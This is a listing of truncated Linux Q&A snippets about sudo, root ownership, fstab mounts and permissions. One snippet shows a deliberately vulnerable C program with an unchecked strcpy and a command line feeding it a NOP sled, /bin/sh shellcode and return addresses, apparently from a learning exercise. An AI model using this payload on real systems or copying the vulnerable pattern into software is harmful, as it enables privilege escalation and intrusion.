Lost sudo. Beyond salvation? I made a mistake and gave a container Homepage access to the docker.sock and briefly after I discovered that sudo is no more. sudo sudo: /etc/sudo.conf is owned by uid 1000, should be 0 sudo: /etc/sudo.conf is owned by uid 1000, should be 0 sudo: /etc/sudoers is owned by uid 1000, …
How to programmatically determine whether superuser elevation is necessary to invoke code? When providing code to another, it appears to be good practice to remove all elevation-specific code — that is, provide apt update rather than sudo apt update (or su -c ‘apt update’). However, this causes all kinds of problems for those new to …
I accidently changed my root user's name and now have lost all root permissions I was messing around on my minecraft server with usermod and at some point I copied a command from a forum with incorrect terms. now when I sudo cat /etc/passwd, the output for my root user is as follows 2r(M@kRf5N#u2DW2root:x:0:0:root:/root:/bin/bash with …
Run shellcode as root in a buffer overflow attack? I’m trying to exploit the following code: #include <stdio.h> #include <string.h> int main(int argc, char** argv){ char buffer[100]; strcpy(buffer, argv[1]); return 0; } with the following command ./vuln $(python -c "import sys; sys.stdout.buffer.write(b’x90’*60 + b’x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x89xc1x89xc2xb0x0bxcdx80x31xc0x40xcdx80′ + b’x40xd6xffxff’*6)") The first part is the NOPs, the second part …
Files created by user in a mounted partition show root as owner I have a dual boot system (Windows 10/Archlinux) and I have created a NFTS partition which is mounted at startup via /etc/fstab so I can access it from both OS’es. The fstab file shows that the partition is mounted with read and write …
How does rfkill work without being root (or using sudo)? I saw this statement at the end of this answer: PS: I have no idea why rfkill works when run as an unprivileged user. On my Mint, it doesn’t have a setuid or setgid bit. I was curious, and looked on my Arch system. Here’s …
How can you turn a root user into a normal user? When I first set up ubuntu, I did most of my stuff in the root account. However, working exclusively in the root account is a bad idea. How can I turn my root account into a normal account without root privileges without deleting it? …
Home folder in /etc I was yesterday trying to mount a partition & playing around with firejail, when I realized I have a ${HOME} folder (written just like that) in my /etc folder, even if my home folder is in the root folder (so now I have two, the ${HOME} and the /home.) I’m wondering …
New notebook and factory partition First time using a linux, I’m using Debian 12. My notebook arrived with the following partition (512gb SSD), in this order (left to right in the disk viewer): /boot/efi – 537mb /root – 20gb recover (unmounted) – 10gb Swap – 16gb /home – 466gb Since I’ve started using it, I …
Root folder is running out of space I am getting an error: / is running out of space when I work with the creation of docker images. Then I tried to list the top 10 large files on my computer’s filestystem. It listed out 10 files/folders that are in big size, some of them are …
Is there some universally recommended Reserved block count (for root) for large Ext4 drives? By the following question: Is there some universally recommended Reserved block count (for root) for large Ext4 drives? I specifically mean the following: Let us consider (almost) everyone has a rather large root drive (partition) nowadays. Let us consider for example …
effective vs real user ID : why doesn't it return root as effective ID in my example? I did some reading about the difference between real and effective user ID. I thought I understood, but I have a doubt : according to my comprehension, in the example below the command $ id -un should return …
Can't enter in sudo on Debian 12 I’m sitting on a Virtual Machine on Debian 12, the password for root is simple, it’s the letter q, but when I write, say, sudo -i and enter the password, the terminal only displays Sorry, try again. The thing is that when I go into Rescue Mode and …
Is setting CONFIG_STRICT_DEVMEM=y safe? I was playing around with /dev/mem and found out that even as root user you cannot access the whole file if CONFIG_STRICT_DEVMEM=y. It was new to me that there are mechanisms to prevent the root user from doing what he likes. But as root I could simply alter the Linux kernel …
Is it possible to grant a specific privilege to a user without sudo? I’m not going to add sudo in my Buildroot environment for RPi 3 B+ since I just need apache2 to update my system time with date -s TIME. Is there a way to grant this permission without installing and configure sudo? Asked …
How can I run Doccano as the root user without knowing my root password on EC2? I use Doccano on an AWS EC2 instance running Ubuntu 22.04. To run Doccano, I use doccano webserver –port 8000. But now I’d like to have Doccano serve its webpages on port 80. Therefore, I have to run Doccano as root. …
Which first level directories in Linux should be owned by user? Today, I have accidentally noticed that the following directories of the / are owned by user, rather than root: /home /lost+found /media /mnt /opt /snap /srv /swapfile /var I have no idea how that could happen. It seems only logical that some of them …
Not able to switch to Sudo or root on my ubuntu-22.04.2-desktop-amd64.ISO isntalled on VirtualBox I have used VirtualBox to setup my ubuntu-22.04.2 on Windows 10 Pro machine. Default user was added as vboxuser and no user is available. Not able to switch to user and update/install any new software. enter image description here Asked By: …
/etc/fstab mount as user? Good Morning all, When I use my fstab command below, it seems to be mounting the directory as root causing me to be unable to edit anything: 192.168.1.74:/volume1/Barry/Plex/tv2 /mnt/plex/media/tv2 nfs nofail,defaults,rw,user, 0 0 192.168.1.74:/volume2/Barry2/Plex/tv /mnt/plex/media/tv2 nfs nofail,defaults,rw,user, 0 0 dandy@thehost:/mnt/plex/media$ ls -l drwxrwxrwx 74 1024 users 36864 Jul 8 18:49 tv …
Struggling with fstab I’m really struggling to understand my fstab file, I would like to mount the nfs so that all users can edit the directories (rw) but I seem to get ‘root:root’. My fstab file: 192.168.1.74:/volume1/Barry/Plex/tv /mnt/plex/media/tv nfs nofail defaults 0 0 Asked By: Dan Daley || Source nfs permissions are (mostly) controlled by …
